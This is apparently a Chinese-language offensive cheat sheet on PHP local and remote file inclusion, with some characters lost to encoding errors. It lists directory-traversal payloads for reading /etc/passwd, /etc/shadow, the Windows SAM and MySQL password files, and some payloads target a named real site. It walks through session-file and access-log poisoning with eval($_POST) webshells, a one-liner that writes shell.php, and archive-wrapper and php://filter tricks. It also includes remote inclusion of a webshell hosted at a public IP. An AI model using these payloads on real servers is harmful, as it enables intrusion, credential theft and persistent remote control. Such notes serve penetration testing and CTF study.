开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(默认关闭,是否允许include/require远程文件)该选项为on便是允许 包含URL?对象文件等。
PHP版本<=5.2?可以使用%00进行截断。(能截断的php版本都小于5.3)
Linux:
../../../../../../../../etc/passwd ?????//?账户信息
etc/passwd%00?
....//....//etc/passwd
/etc/shadow ?????//?账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //?虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql?配置文件
/etc/issue
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/self/environ
/proc/version
/proc/cmdline
?
Windows
c:\boot.ini //?查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam //?存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php?配置信息
?
乌云payload
../../../../../../../../../../etc/passwd
../../../../../../../../../../home/img/odp/log/access_log
./../../../../../../../../etc/passwd%00
../../ierp/bin/prop.xml
http://red.xunlei.com/index.php?id=../test.php%00&r=site/news
pagename=znjl&url=/WEB-INF/web.xml&errpage=/WEB-INF/web.xml
http://**.**.**.**//index.php?index=a&skin=&dataoptimize_html=/../../../favicon.ico
..%2FWEB-INF%2Fweb.xml
../WEB-INF/mvc-servlet.xml
?file=test.txt
?file=./../../test.txt
先上传jpg图片木马,然后本地文件包含,如以下案例:
前提:
1.seesion存储的位置
2.sesion内容可控
Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。
假设漏洞代码如下所示:
<?php
?????session_start();
??? ?$ctfs=?$_GET['ctfs'];
?????$_SESSION['username']=$ctfs;
?>
可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs=<?php?phpinfo(); ?>??将php语句写入session中
http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c?包含session文件session文件名(真正的文件名默认都有个前缀就是sess_)
apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
前提:php配置文件中需同时开启?allow_url_fopen?和?allow_url_include(PHP < 5.3.0)
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
协议在双off的情况下也可以正常使用;
allow_url_fopen?:off/on
allow_url_include:off/on
思路:(也是上传之后包含文件)
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
bzip2://协议
使用方法:
compress.bzip2://file.bz2
测试现象:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
zlib://协议
使用方法:
compress.zlib://file.gz
测试现象:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
远程文件包含的时候一句话木马后缀不能为php。
需要开启allow_url_include = On
http://127.0.0.1/test.php?filename=http://公网IP/muma.txt
Ctf常用
?action=php://filter/read=convert.base64-encode/resource=login.php? (Base64加密)